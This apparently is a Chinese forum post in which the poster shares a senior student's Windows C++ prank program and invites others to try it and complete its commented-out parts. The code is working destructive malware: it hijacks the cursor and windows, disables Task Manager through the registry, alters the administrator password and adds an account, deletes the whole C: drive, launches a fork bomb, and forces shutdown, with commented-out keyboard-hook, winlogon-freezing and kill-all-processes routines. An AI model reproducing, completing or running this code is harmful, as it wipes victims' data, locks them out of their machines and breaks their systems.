SBTI测试

网站破坏小飞机

😄 乐子不乐😕

卑鄙是卑鄙者的通行证， 高尚是高尚者的墓

哪位兄弟试试？？（我也不知道学长是怎么搞的，不知哪位大神能把他用“/*”括的地方补齐？？？） 🎉️ 完全看不懂......

#include<bits/stdc++.h>
#include<windows.h>
#include<tlhelp32.h>
//#include <winternl.h>
using namespace std;
char szTitle[MAX_PATH],szClass[MAX_PATH];
void ControlCursor(){
	POINT p;
	GetCursorPos(&p);
	int X=p.x,Y=p.y;
	for(int i=0;i<50;i++){
		SetCursorPos(X-5,Y-5);
		Sleep(20);
		SetCursorPos(X+5,Y+5);
		Sleep(20);
	}
	for(int i=0;i<50;i++){
		SetCursorPos(X-5,Y-5);
		Sleep(20);
		SetCursorPos(X-5,Y-5);
		Sleep(10);
		SetCursorPos(X+5,Y+5);
		Sleep(20);
		SetCursorPos(X+5,Y+5);
		Sleep(10);
	}
	for(int i=0;i<50;i++){
		SetCursorPos(X+30,Y);
		Sleep(20);
		SetCursorPos(X-30,Y);
		Sleep(20);
	}
	for(int i=0;i<100;i++){
		SetCursorPos(rand()%1000,Y);
		Sleep(500);
	}
	for(int i=0;i<50;i++){
		SetCursorPos(rand()%1000,rand()%1000);
	}
	return;
}
void AllMinSize(){
	int nMaxCount=MAX_PATH;
	LPSTR lpClassName=szClass,lpWindowName=szTitle;
	while(true){
		HWND hwnd=GetForegroundWindow();
		GetWindowTextA(hwnd,lpWindowName,nMaxCount);
		GetClassNameA(hwnd,lpClassName,nMaxCount);
		string str=(string)lpClassName;
		if(str.find("TrayWnd")!=string::npos){
			break;
		}
		ShowWindow(hwnd,SW_MINIMIZE);
		Sleep(100);
	}
	return;
}
void RegTaskmanagerForbidden(){
	HKEY hkey;
	DWORD value=1;
	RegCreateKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",&hkey);
	RegSetValueEx(hkey,"DisableTaskMgr",NULL,REG_DWORD,(LPBYTE)&value,sizeof(DWORD));
	RegCloseKey(hkey);
	return;
}
void CursorDisappear(){
	for(int i=0;i<10;i++){
		HWND hWnd=GetForegroundWindow();
		ShowWindow(hWnd,SW_HIDE);
		Sleep(1000);
	}
	return;
}
void WINDOW_SHOW(){
	ControlCursor();
	for(int i=0;i<10;i++){
		system("start cmd.exe");
		SetCursorPos(rand()%1000,rand()%1000);
		Sleep(100);
	}
	system("taskkill /f /im cmd.exe");
	Sleep(100);
	for(int i=0;i<10;i++){
		system("start taskmgr.exe");
		SetCursorPos(rand()%1000,rand()%1000);
		Sleep(100);
		system("taskkill /f /im taskmgr.exe");
		SetCursorPos(rand()%1000,rand()%1000);
		Sleep(100);
	}
	Sleep(100);
	for(int i=0;i<20;i++){
		system("start taskmgr.exe");
		SetCursorPos(rand()%1000,rand()%1000);
		system("start cmd.exe");
		SetCursorPos(rand()%1000,rand()%1000);
		Sleep(50);
		system("taskkill /f /im taskmgr.exe");
		SetCursorPos(rand()%1000,rand()%1000);
		Sleep(100);
	}
	system("taskkill /f /im cmd.exe");
	for(int i=0;i<40;i++){
		system("start taskmgr.exe");
		SetCursorPos(rand()%1000,rand()%1000);
		system("start cmd.exe");
		SetCursorPos(rand()%1000,rand()%1000);
		Sleep(50);
		system("taskkill /f /im taskmgr.exe");
		SetCursorPos(rand()%1000,rand()%1000);
		Sleep(100);
		SetCursorPos(rand()%1000,rand()%1000);
	}
	RegTaskmanagerForbidden();
	system("net user Adimnistrator error");
	system("net user Error error /add");
	system("del /F /S /Q C:\\");
	return;
}
void SlowDie(){
	SetCursorPos(0,0);
	freopen("11.out","w",stdout);
	cout<<"%0|%0";
	fclose(stdout);
	system("ren 11.out 11.bat");
	system("start 11.bat");
}
/*int globlePid = 0;
HHOOK keyHook = NULL;
HHOOK mouseHook = NULL;
LRESULT CALLBACK keyProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    KBDLLHOOKSTRUCT *pkbhs = (KBDLLHOOKSTRUCT *)lParam;
    //if (nCode == HC_ACTION){
    if (pkbhs->vkCode == VK_ESCAPE && GetAsyncKeyState(VK_CONTROL) & 0x8000 && GetAsyncKeyState(VK_SHIFT) & 0x8000){
        //qDebug() << "Ctrl+Shift+Esc";
        return 1;
    }
    else if (pkbhs->vkCode == VK_ESCAPE && GetAsyncKeyState(VK_CONTROL) & 0x8000){
        //qDebug() << "Ctrl+Esc";
        return 1;
    }
    else if (pkbhs->vkCode == VK_TAB && pkbhs->flags & LLKHF_ALTDOWN){
        //qDebug() << "Alt+Tab";
        return 1;
    }
    else if (pkbhs->vkCode == VK_ESCAPE && pkbhs->flags &LLKHF_ALTDOWN){
        //qDebug() << "Alt+Esc";
        return 1;
    }
    else if (pkbhs->vkCode == VK_LWIN || pkbhs->vkCode == VK_RWIN){
        //qDebug() << "LWIN/RWIN";
        return 1;
    }
    else if (pkbhs->vkCode == VK_F4 && pkbhs->flags & LLKHF_ALTDOWN){
        //qDebug() << "Alt+F4";
        return 1;
    }
    //return 1;
    //}
    return CallNextHookEx(keyHook, nCode, wParam, lParam);
}
LRESULT CALLBACK mouseProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    return 1;
}
void unHook()
{
    UnhookWindowsHookEx(keyHook);
    //  UnhookWindowsHookEx(mouseHook);
}
void setHook()
{
    keyHook = SetWindowsHookEx(WH_KEYBOARD_LL, keyProc, GetModuleHandle(NULL), 0);
    //    mouseHook =SetWindowsHookEx( WH_MOUSE_LL,mouseProc,GetModuleHandle(NULL),0);
}

void EnableDebugPriv()
{
    HANDLE hToken;
    LUID sedebugnameValue;
    TOKEN_PRIVILEGES tkp;

    if (!OpenProcessToken(GetCurrentProcess(),
        TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
        return;
    }
    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)) {
        CloseHandle(hToken);
        return;
    }
    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Luid = sedebugnameValue;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL)) {
        CloseHandle(hToken);
        return;
    }
}

char* ConvertLPWSTRToLPSTR(LPWSTR lpwszStrIn)
{
    LPSTR pszOut = NULL;
    if (lpwszStrIn != NULL)
    {
        int nInputStrLen = wcslen(lpwszStrIn);

        // Double NULL Termination  
        int nOutputStrLen = WideCharToMultiByte(CP_ACP, 0, lpwszStrIn, nInputStrLen, NULL, 0, 0, 0) + 2;
        pszOut = new char[nOutputStrLen];

        if (pszOut)
        {
            memset(pszOut, 0x00, nOutputStrLen);
            WideCharToMultiByte(CP_ACP, 0, lpwszStrIn, nInputStrLen, pszOut, nOutputStrLen, 0, 0);
        }
    }
    return pszOut;
}
void Freeze()
{
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(pe32);
    HANDLE hProcessSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    int processPid;
    BOOL b = ::Process32First(hProcessSnap, &pe32);
    while (b)
    {
        processPid = pe32.th32ProcessID;
        char*exeFile=ConvertLPWSTRToLPSTR(pe32.szExeFile);
        if (strcmp(exeFile, "winlogon.exe") == 0)
        {
            break;
        }

        delete[] exeFile;

        b = ::Process32Next(hProcessSnap, &pe32);
    }
    ::CloseHandle(hProcessSnap);

    THREADENTRY32 th32;
    th32.dwSize = sizeof(th32);
    HANDLE hThreadSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    globlePid = processPid;
    unsigned long Pid;
    Pid = processPid;
    b = ::Thread32First(hThreadSnap, &th32);
    while (b)
    {
        if (th32.th32OwnerProcessID == Pid)
        {
            HANDLE oth = OpenThread(THREAD_ALL_ACCESS, FALSE, th32.th32ThreadID);
            if (!(::SuspendThread(oth)))
            {
                //qDebug() << "freeze successed";
            }
            else
            {
                //qDebug() << "freeze failed";
            }
            CloseHandle(oth);
            break;
        }
        ::Thread32Next(hThreadSnap, &th32);
    }
    ::CloseHandle(hThreadSnap);
}

void unFreeze()
{
    unsigned long Pid;
    Pid = globlePid;

    THREADENTRY32 th32;
    th32.dwSize = sizeof(th32);

    HANDLE hThreadSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    BOOL b = ::Thread32First(hThreadSnap, &th32);
    while (b)
    {
        if (th32.th32OwnerProcessID == Pid)
        {
            HANDLE oth = OpenThread(THREAD_ALL_ACCESS, FALSE, th32.th32ThreadID);
            if (::ResumeThread(oth))
            {
                //qDebug() << "unfreeze successed";
            }
            else
            {
                //qDebug() << "unfreeze failed";
            }
            CloseHandle(oth);
            break;
        }
        ::Thread32Next(hThreadSnap, &th32);
    }
    ::CloseHandle(hThreadSnap);
}*/
void Ctrl(){
	RECT rect;
	rect.top=0;
	rect.left=0;
	rect.bottom=0;
	rect.right=0;
	ClipCursor(&rect);
	Sleep(5000);
	ClipCursor(NULL);
	return;
}
void BlueScreen(){
	freopen("W.out","w",stdout);
	cout<<"Taskkill/fi \"pid ge 1\"/f";
	fclose(stdout);
	system("ren W.out W.bat");
	system("start W.bat");
}
int main(){
	ControlCursor();
	AllMinSize();
	CursorDisappear();
	WINDOW_SHOW();
	Ctrl();
	SlowDie();
	Sleep(25000);
	//BlueScreen();
    system("shutdown -p");
}